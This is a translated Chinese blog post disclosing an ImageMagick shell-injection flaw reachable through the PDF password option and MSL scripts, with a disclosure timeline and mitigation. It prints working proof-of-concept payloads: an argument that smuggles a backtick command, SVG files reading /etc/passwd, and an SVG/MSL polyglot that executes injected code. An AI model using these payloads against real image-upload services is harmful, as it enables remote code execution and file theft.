ImageMagick-通过PDF密码进行Shell注入

ImageMagick-通过PDF密码进行Shell注入

“使用ImageMagick®创建,编辑,合成或转换位图图像。它可以读取和写入多种格式(超过200种)的图像,包括PNG,JPEG,GIF,HEIC,TIFF,DPX,EXR,WebP,Postscript, PDF和SVG [还有更多]“ 1

2016年,ImageTragick揭晓。相关的研究人员表明,ImageMagick不仅功能强大(例如,您可以读取本地文件),而且还可以通过恶意制作的图像执行Shell命令。 

 Tavis Ormandy(@taviso)在2016年末 和2018年展示了ImageMagick对外部程序(ghostscript)的支持如何导致远程执行。

鉴于过去的研究,我快速浏览了受支持的外部程序(我已经花了相当长的时间在libreoffice/openoffice上),我决定正确理解IM(ImageMagick)如何调用外部程序以及它们如何固定shell程序。 ImageTragick报告中的注入。

当您阅读此博客文章时,它得到了回报,我发现了一个漏洞。但是我也学到了两件事:

注意:
1)IM团队真的很活跃,正在尝试迅速解决任何问题(稍后很重要)
2)ImageMagick是一个很棒的工具,可以转换文件。它支持一些非常古怪的旧文件类型(通常通过外部程序),并且正在尝试尽可能地方便用户使用,也许有点^^ 

修复:ImageMagick,https和cURL

ImageMagick的重要部分及其处理文件的方式不仅是臭名昭著的 delegates.xml 文件,还包括编码器 文件夹。 所述delegates.xml文件指定的命令和参数来调用的外部程序来处理特定的文件类型。但在此之前,上述编码器文件夹中的处理程序用于解析文件并确定是否需要调用外部程序(这是一种简化,但在大多数情况下,它是通过这种方式工作的)
由于编码器中有很多文件,决定检查ImageMagick如何处理https:URL,因为我已经知道最后将使用curl,这很容易受到命令注入的影响。
为了简短起见-在以下行中注册了https:处理程序:
https://github.com/ImageMagick/ImageMagick/blob/master/coders/url.c#L327
如果IM必须处理https:URL,则将调用以下分支:https://github.com/ImageMagick/ImageMagick/blob/master/coders/url.c#L157

status=InvokeDelegate(read_info,image,"https:decode",(char *) NULL,

InvokeDelegate调用 InterpretDelegateProperties,后者调用 GetMagickPropertyLetter,后者调用 SanitizeDelegateString。 

whitelist[] =
      "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789 "
      "$-_.+!;*(),{}|\\^~[]`\"><#%/?:@&=";
[...]
for (p+=strspn(p,whitelist); p != q; p+=strspn(p,whitelist))
    *p='_';
  return(sanitize_source);

在非Windows系统(我假定为默认值)上,此函数基本上将’(单引号)替换为“ _”。这一点很重要,因为最后调用了 ExternalDelegateCommand。 该函数处理调用外部可执行文件。使用delegates.xml中定义的curl命令,并且用户定义的URL包含在单引号中。由于之前已过滤单引号,因此无法注入其他Shell命令。 
我通过修改IM的源代码验证了这一点,并包括一些printf语句以转储创建的命令。 因此,我们假设指定了一个https:URL的SVG或MVG(ImageTragick中提供了一个示例),如下所示: 

<svg width="200" height="200" 
xmlns:xlink="http://www.w3.org/1999/xlink">
xmlns="http://www.w3.org/2000/svg">       
<image xlink:href="https://example.com/test'injection" height="200" width="200"/>
</svg>

命令行:

convert test.svg out.png

由ImageMagick创建的shell命令如下所示:

curl -s -k -L -o 'IMrandomnumber.dat' 'https://example.com/test_injection'

重要说明: 如本示例所示,不同的编码器可以相互调用,因为在这种情况下SVG触发了url.c编码器的执行。如果ImageMagick被编译为使用librsvg之类的第三方库来解析SVG文件,则第三方库将自行处理协议。在这种情况下,仍然可以通过MSVG支持(“ ImageMagick自己的SVG内部渲染器”)触发ImageMagicks自己的SVG解析器:

convert test.msvg out.png

ImageMagick还允许通过以下语法设置特定的处理程序:

convert msvg:test.svg out.png

读取本地文件

由于ImageMagick可以如上所述设置特定的文件处理程序,因此我决定进行快速评估,哪些处理程序可以读取和泄漏本地文件。 我的测试案例假设用户控制的SVG文件由IM的内部SVG解析器转换为PNG文件,然后再返回给最终用户。例如在网站上上传头像。

convert test.svg userfile.png

第一个功能强大的编码器在ImageTragick已经提到-文本‘“文本:”输入格式旨在将纯文本转换为每页文本包含一个图像的图像。它是ImageMagick的“分页文本”输入运算符。‘。编码器已在txt.c中注册。

<svg width="1000" height="1000" 
xmlns:xlink="http://www.w3.org/1999/xlink">
xmlns="http://www.w3.org/2000/svg">       
<image xlink:href="text:/etc/passwd" height="500" width="500"/>
</svg>

读取/etc/passwd的另一个示例基于LibreOffice。这是可能的,因为LibreOffice支持呈现文本文件。作为ImageMagick的具有该文件类型没有支撑,相应的协议处理程序可以通过找到解码在属性delegates.xml。当然,此向量仅在安装OpenOffice/LibreOffice时有效:

<svg width="1000" height="1000" 
xmlns:xlink="http://www.w3.org/1999/xlink">
xmlns="http://www.w3.org/2000/svg">       
<image xlink:href="odt:/etc/passwd" height="500" width="500"/>
</svg>

也可以使用html: -如果已安装html2ps。尽管ImageMagick注册了“ HTML”处理程序,但它仅设置了一个编码器条目。编码器仅处理文件类型的创建/写入,而不能读取(由解码器完成)。因此,使用了delegates.xml中的解码器:

<svg width="1000" height="1000" 
xmlns:xlink="http://www.w3.org/1999/xlink">
xmlns="http://www.w3.org/2000/svg">       
<image xlink:href="html:/etc/passwd" height="500" width="500"/>
</svg>

这不是一个详尽的清单,但应记录总体思路。回到注入和shell。

切入点-加密的PDF

了解curl的用法后,我再次检查了delegates.xml中定义的命令:

<delegate decode="https:decode" 
command="&quot;@[email protected]&quot; -s -k -L -o &quot;%u.dat&quot; &quot;https:%M&quot;"/>

%M替换为用户控制的URL。因此,我检查了所有%M的发生以及是否正确处理了它们。另外,我还查看了property.c中定义的所有定义的替换值。最后,什么也没有产生适当的注入漏洞。 然后我偶然发现了pdf.c编码器中的以下行:

(void) FormatLocaleString(passphrase,MagickPathExtent,
        "\"-sPDFPassword=%s\" ",option);

由于这似乎设置了一个密码,该密码很可能是完全由用户控制的,因此我查找了如何设置此参数以及是否可以滥用该参数。基于更改日志,ImageMagick在2017年添加了“ -authenticate”命令行参数,以允许用户为加密的PDF设置密码。因此,我通过以下命令进行了测试,以转储创建的命令:

convert -authenticate "password" test.pdf out.png

创建Shell命令:

'gs' -sstdout=%stderr -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 '-sDEVICE=pngalpha' -dTextAlphaBits=4
 -dGraphicsAlphaBits=4 '-r72x72' "-sPDFPassword=password" '-sOutputFile=/tmp/magick-YPvcqDeC7K-Q8xn8VZPwHcp3G1WVkrj7%d' '-f/tmp/magick-sxCQc4-ip-mnuSAhGww-6IFnRQ46CBpD' '-f/tmp/magick-pU-nIhxrRulCPVrGEJ868knAmRL8Jfw9'

正如我确认创建的gs命令(分析指定的PDF )中包含密码后,该检查一下双引号是否正确处理了:

convert -authenticate 'test" FFFFFF' test.pdf out.png
'gs' -sstdout=%stderr -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 '-sDEVICE=pngalpha' -dTextAlphaBits=4
-dGraphicsAlphaBits=4 '-r72x72' "-sPDFPassword=test" FFFFFF" '-sOutputFile=/tmp/magick-YPvcqDeC7K-Q8xn8VZPwHcp3G1WVkrj7%d' '-f/tmp/magick-sxCQc4-ip-mnuSAhGww-6IFnRQ46CBpD' '-f/tmp/magick-pU-nIhxrRulCPVrGEJ868knAmRL8Jfw9

令我惊讶的是,我能够过早关闭-sPDFPassword参数,这使我可以包含其他Shell命令。指定的“密码”必须包含以下字符之一 “&; <> |” 因此实际上会触发shell注入。原因是,ImageMagick的将仅使用系统在这些字符的情况下,一个呼叫(以及因此系统shell)是:

if ((asynchronous != MagickFalse) ||
      (strpbrk(sanitize_command,"&;<>|") != (char *) NULL))
    status=system(sanitize_command); 

总而言之,我测试了以下命令:

convert -authenticate 'test" `echo $(id)> ./poc`;"' test.pdf out.png

创建Shell命令: 

'gs' -sstdout=%stderr -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 '-sDEVICE=pngalpha' -dTextAlphaBits=4
-dGraphicsAlphaBits=4 '-r72x72' "-sPDFPassword=test" `echo $(id)> ./poc`;"" '-sOutputFile=/tmp/magick-pyNxb2vdkh_8Avwvw0OlVhu2EfI3wSKl%d' '-f/tmp/magick-IxaYR7GhN3Sbz-299koufEXO-ccxx46u' '-f/tmp/magick-GXwZIbtEu63vyLALFcqHd2c0Jr24iitE'

已创建文件“ poc”,其中包含id命令的输出。在这一点上,我已经确认了shell注入漏洞。问题是:用户不太可能设置authenticate参数。因此,我决定寻找更好的PoC:

开发-MSL和Polyglots

我需要找到一种通过受支持的文件类型设置“ -authenticate”参数的方法,并且我已经知道在哪里查看:ImageMagick脚本语言(MSL)。这是ImageMagick支持的基于XML的文件格式,它允许设置输入文件,输出文件和其他参数。可以在此处找到示例文件 -我对其进行了简化:

<?xml version="1.0" encoding="UTF-8"?>
<image>
  <read filename="image.jpg" />
  <get width="base-width" height="base-height" />
  <resize geometry="400x400" />
  <write filename="image.png" />
</image>

此文件格式没有正确记录,这是ImageMagick团队提到的,因此我检查了有关受支持属性的源代码。我很快 在MSL编码器的源代码中发现了以下几行:

if (LocaleCompare(keyword,"authenticate") == 0)
{
(void) CloneString(&image_info->density,value);
break;
}

通过其他调试调用,我验证了此路径可以处理任何设置了authenticate属性的标记。但是代码将定义的值分配给了密度属性,这没有任何意义。研究了其余的MSL代码后,我得出以下结论:
1)此代码应设置类似于“ -authenticate”命令行参数的authenticate属性。
2)代码根本是错误的,因此阻止了滥用shell注入的可能性。
因此,我决定做一些以前未曾做过的事情:通过Github提及此问题,看看问题是否得到解决(我为此创建了一个新的github帐户)-github.com/ImageMagick/ImageMagick/discussions/2779
最后,代码已正确修复:

if (LocaleCompare(keyword,"authenticate") == 0)
{
(void) SetImageOption(image_info,keyword,value);
break;
}

我立即创建了PoC MSL脚本,以验证可以滥用Shell注入。请注意,必须指定msl:协议处理程序,这样IM才能正确地正确解析脚本文件:

<?xml version="1.0" encoding="UTF-8"?>
<image authenticate='test" `echo $(id)> ./poc`;"'>
  <read filename="test.pdf" />
  <get width="base-width" height="base-height" />
  <resize geometry="400x400" />
  <write filename="out.png" />
</image>
convert msl:test.msl whatever.png

而且有效-创建了“ poc”文件,证明了shell注入。最后一步:将所有内容包装在一个SVG多语言文件中。

SVG MSL多语言文件:

我创建的多语言文件是SVG文件,该文件将自身加载为MSF文件以触发Shell注入漏洞。我将开始显示SVG多语言文件并解释其结构:
poc.svg:

<image authenticate='ff" `echo $(id)> ./0wned`;"'>
  <read filename="pdf:/etc/passwd"/>
  <get width="base-width" height="base-height" />
  <resize geometry="400x400" />
  <write filename="test.png" />
  <svg width="700" height="700" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">       
  <image xlink:href="msl:poc.svg" height="100" width="100"/>
  </svg>
</image>

首先,SVG结构具有图像root标签。由于解析器没有强制要求SVG标签是root标签,因此IM将此文件解析为SVG时没有问题。SVG结构指定图像URL,该URL使用msl:poc.svg。这告诉ImageMagick用MSL编码器加载poc.svg。 
尽管MSF是基于XML的结构,但MSF编码器不会部署真正的XML解析器。它仅要求文件以其支持的标签开头。我使用的另一个技巧是存在于读取标签中。有必要将PDF文件定位为触发漏洞。为了绕过这种必要性,我指定了任何已知的本地文件,并使用pdf:协议处理程序以确保将其视为PDF:
运行中的PoC文件:

PoC仍然不是完美的,因为我必须假设文件名不会更改,因为文件必须能够引用自身。但是我认为那已经足够好了。 

前提和保护

显然,此漏洞仅在ImageMagick未使用处理PDF解析的第三方库编译的情况下才有效。用户还必须能够通过命令行或通过MSL(如我的PoC文件中所示)设置“ authenticate”参数。
万一ImageMagick不能处理PDF文件,可以通过policy.xml文件禁用PDF编码器,从而防止shell注入。https://imagetragick.com/已记录了 如何配置policy.xml  (仅包括“ PDF”)。 

受影响的版本:

-通过“验证”进行注入    -ImageMagick 7:     7.0.5-3向上7.0.10-40
-通过MSL进行开发:     -ImageMagick     7:从7.0.10-40升至7.0.10-35
关于ImageMagick 6(又名旧版)。根据源代码,以下版本应该容易受到攻击。
-通过“验证”进行注入    -ImageMagick     6:6.9.8-1至6.9.11-40
-通过MSL进行开发:     -ImageMagick 6:    6.9.11-35至6.9.11-40


时间线:
-2020-11-01:向ZDI报告了该漏洞
-2020-11-16:不想等待ZDI的任何回应,因此将问题报告给ImageMagick 
-2020-11-16:ImageMagick部署了一个修复程序,并问我是否可以等待披露,因为计划在本周末发布。 
-2020-11-16-20:与ImageMagick团队讨论了解决方法。
-2020-11-21:发布了7.0.10-40和6.9.11-40版本。 
我要感谢ImageMagick开发人员。他们试图尽快解决并解决所有提出的问题(与功能或安全性无关)。另外,他们还允许我提供解决问题的方法(并非总是可以接受^^)

from

Leave a Reply

您的电子邮箱地址不会被公开。 必填项已用*标注